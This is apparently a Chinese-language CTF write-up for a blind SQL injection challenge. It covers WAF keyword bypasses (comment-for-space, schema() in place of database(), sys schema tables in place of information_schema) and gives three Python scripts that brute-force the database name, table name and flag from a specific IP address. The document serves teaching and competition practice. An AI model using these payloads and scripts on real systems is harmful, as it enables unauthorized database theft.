考点
无列名注入
挂一篇文章 SQL注入之无列名注入_sql无列名注入-CSDN博客
前期准备
共有四个回显页面
id=被ban词
回显 waf!!!
id=1
可以查询(正常回显)
id=999
回显 别翻啦!这么多心灵鸡汤都du不了你吗
说明查不到
id=1'
回显 你搁这儿干嘛啊???
说明是错误回显
- 继续尝试
id=1'--+
回显 你搁这儿干嘛啊???
id=1--+
可以查询(正常回显)
判断出是字符型注入,且闭合类型不是 '
单引号闭合
常见的闭合尝试
id=1'#
id=1')#
id=1"#
id=1")#
测试出来后面三个都可以正常回显
说明后端执行语句为
select * from table where id=('1')
id=1')#变成如下
select * from table where id=('id=1')#')
- 接下来判断被ban的关键词(第二排是对应的绕过)
or 空格 = database information_schema
group by /**/ like schema 寻找可替代的
fuzz跑一下看看
分析
既然information_schema被ban了,那么无法使用其下的information_tables表名集合表和information_columns列名集合表
database被ban,可以使用schema()
binary让大小写敏感
import requests
payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#' #tag1:%必不可少,用于模糊匹配,表示匹配任意字符(包括零个字符或多个字符)
#payload = '1\') and (select (select object_name from sys.schema_tables_with_full_table_scans limit 1, 1) like binary \'{}%\')#'
url = "http://47.108.56.168:8003//index.php"
#dict是爆破的字典,去掉了%_ #tag2:通配符解释
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-=+[{]};:'",<.>/? `~!@#$^&*()\x00"
print(len(dict))
result = ''
while True: #目的是每次清空data的内容
data = ''
for i in range(len(dict)):
data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
print('[*] '+payload.format(result + dict[int(i)]).replace(' ', '/**/'))
response = requests.post(url=url, data=data)
if 'Persistence' in response.text:
result += dict[int(i)]
print('[√]'+result)
break
if dict[int(i)] == '\x00': #%00作为结束符号
print('盲注结束,结果是:'+result)
break
if dict[int(i)] == '\x00': #%00作为结束符号
break
得到当前数据库名articles,但是flag并不在这个数据库下
既然如此,那么就应该更改寻找可替代的数据库代替information_schema
在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:
1. InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
2. sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。
这样说来,数据库中初始的,存储数据库名字的表不止一个
sys
库下的表但凡是schema_
打头的基本上都存了所有数据库名字
根据本地测试之后的总结,采用sys.schema_table_statistics
的表单
因此根据payload编写脚本
payload:1') and (select (select table_schema from sys.schema_table_statistics_with_buffer limit 0,1) = 'a%')#
其中%是通配符拿来进行模糊匹配,使脚本能够继续运行
import requests
#payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
payload = '1\') and (select (select table_schema from sys.schema_table_statistics_with_buffer limit 0,1) like binary \'{}%\')#'
#或者也可以payload = '1\') and (select (select table_schema from sys.schema_table_statistics limit 0,1) like binary \'{}%\')#' #这两个payload都可以爆出存放flag的数据库
url = "http://47.108.56.168:8003"
#dict是爆破的字典,去掉了%_,要不然会出现点小问题
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789-=+[{]};:'",<.>/? `~!@#$^&*()\x00"
result = ''
while True:
data = ''
for i in range(len(dict)):
data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
response = requests.post(url=url, data=data)
print( payload.format(result + dict[int(i)]).replace(' ', '/**/'))
if 'Persistence' in response.text:
result += dict[int(i)]
print(result)
break
if dict[int(i)] == '\x00': #%00作为结束符号
print('盲注结束,结果是:'+result)
exit(0)
运行脚本得到结果库名为ctf
接下来继续爆破表名
稍微修改一下脚本的payload
payload:1') and (select (select table_name from sys.schema_table_statistics_with_buffer limit 0,1) = 'a%')#
最终payload
payload = 1') and (select (select * from ctf.flll444aaggg9 limit 1,1) like binary 'a%')#
import requests
#payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
payload = '1\') and (select (select * from ctf.flll444aaggg9 limit 1,1) like binary \'{}%\')#'
url = "http://47.108.56.168:8003"
#dict是爆破的字典,去掉了%_,要不然会出现点小问题
dict = 'SabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRTUVWXYZ123456789-=+[{]};:'",<.>/? `~!@#$^&*()_\x00"
result = ''
while True:
data = ''
for i in range(len(dict)):
data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
response = requests.post(url=url, data=data)
print( payload.format(result + dict[int(i)]).replace(' ', '/**/'))
if 'Persistence' in response.text:
result += dict[int(i)]
print(result)
break
if dict[int(i)] == '\x00': #%00作为结束符号
print('盲注结束,结果是:'+result)
exit(0)
由于是赛后复现,所以flag如下
Comments | NOTHING